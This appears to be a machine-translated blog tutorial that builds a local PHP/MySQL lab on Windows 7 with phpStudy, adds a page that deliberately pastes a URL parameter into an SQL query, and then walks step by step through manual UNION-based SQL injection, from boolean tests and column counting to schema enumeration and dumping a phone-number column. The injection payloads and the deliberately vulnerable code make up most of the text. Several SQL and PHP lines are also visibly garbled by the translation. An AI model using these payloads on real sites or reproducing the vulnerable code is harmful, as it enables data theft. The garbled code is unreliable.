[Experience Skills] "Php+mysql+apache" Environment Construction and "Manual SQL injection"
1. Construction of "Php+mysql+apache" environment
Environment Carrier: Virtual Machine Window7 Service Pack 1 Ultimate Edition
Download "Phpstudy (php5.2)"
Links: Http://www.phpstudy.net/phpstudy/phpStudy (PHP5.2). zip
Documents are shown in annex 1.
Install "Phpstudy (php5.2)"
After extracting the compressed package, double-click "Phpstudy (PHP5.2). exe" to install
After the installation is complete, pop up the "User manual" and the Phpstudy form, and click "Apply":
observed that two LEDs changed from red to green, indicating that "Apache" and "MySQL" have successfully started:
Create a new database and table in MySQL
Note: MySQL login name and password are "root".
Create a new database, table, and add records
Click on the "SQL Editor" tab, add the following code in the edit area and then select and execute:
Create database student; #创建一个新的数据库, named student
Use student;
CREATE table class1 (id int () NOT NULL auto_increment primary key,name varchar (a) not null,gender varchar (), phone Varc HAR); #在student数据库中创建新表, named Class1, has 4 field IDs, name, gender, phone
#插入3条记录
Insert into Class1 (Name,phone,gender) VALUES (' own ', ' 13977888888 ', ' Male ');
Insert into Class1 (Name,phone,gender) VALUES (' HDH ', ' 13667777777 ', ' Male ');
Insert into Class1 (Name,phone,gender) VALUES (' ckm ', ' 15666666666 ', ' female ');
#注意: Each statement is terminated with a semicolon ";"
After executing the SQL statement, the newly created database "student" appears in the left navigation bar. After double-clicking on "Student", click on the "Data Browser" tab and see the 3 records added in table "Class1":
You can also import the SQL script "Class1.sql" to create a database, a table, and add records, as shown in annex 2. Import when using:
2. Configure a Web page with a SQL injection point
The Web page file is named "index.php" and the following code is added to the file:
<?php
$con = mysql_connect ("localhost", "root", "root") or Die (); #连接数据库
mysql_select_db ("student"); #选择student数据库
$ID = $_get[' id '); #获取URL中的参数 "id"
$sql = "Select * from Class1 where id= $ID"; #构建sql查询语句
/* If it is a character parameter, use $sql = "SELECT * from Class1 where name= ' $name '";
Add single quotes around $name */
echo "SQL statement:". $sql. " <br > ";
$res = mysql_query ($sql); #执行查询语句
while ($rows = Mysql_fetch_array ($res)) {
echo "Name:". $rows [' name ']. " <br > ";
echo "Gender:". $rows [' Gender ']. " <br > ";
echo "Tel:". $rows [' phone ']. <br > ";
}
Mysql_close ($con);
?>
The document "index.php" is shown in annex 3. The PHP code means to construct the SQL query statement "SELECT * from Class1 where id" by the value of the parameter "id" passed into the URL, and finally output the three fields "name", "Gender", "phone" in the returned record.
3.SQL Injection
1, URL and finally add and 1=1
2, URL and finally add and 1=2
If 2 is abnormal, 1 is injected normally.
This article uses the shaping parameters and the results are as follows:
and 1=1
and 1=2
Http://127.0.0.1/?id=1 ORDER BY <n> #注: N is any number. If the return page is normal, the number is the number of fields
Http://127.0.0.1/?id=1 Union Select 1,database (), User (), version ()
Use the small Aoi tool to convert the database name "student" to get the hex value:
"Small Kwai multifunctional conversion tool" see annex 4.
After the hex value is filled with "where table_schema=". If you get the table name of table "Class1" under Database "student":
Http://127.0.0.1/?id=1 Union Select 1,table_name,2,3 from Information_schema.tables where table_schema= 0x73747564656e74
2.mysql version before 5.1, how to guess the name of the table
Add the SQL statement after the URL and return to the normal representation of the table name
<URL> exists (SELECT * FROM < table name to be guessed >)
Http://127.0.0.1/?id=1 Union Select 1,column_name,2,3 from Information_schema.columns where table_name=0x636c61737331
<URL> exists (select < guessed column name > from < table name >)
For example, get the data for the column "Phone" in Table "Class1":
Http://127.0.0.1/?id=1 Union select 1,phone,2,3 from Class1
Note: If the browser to access the page garbled, the browser encoding set to "UTF-8" can be resolved:
============================================
[Experience Skills] "Php+mysql+apache" Environment Construction and "manual SQL injection", 20180527-0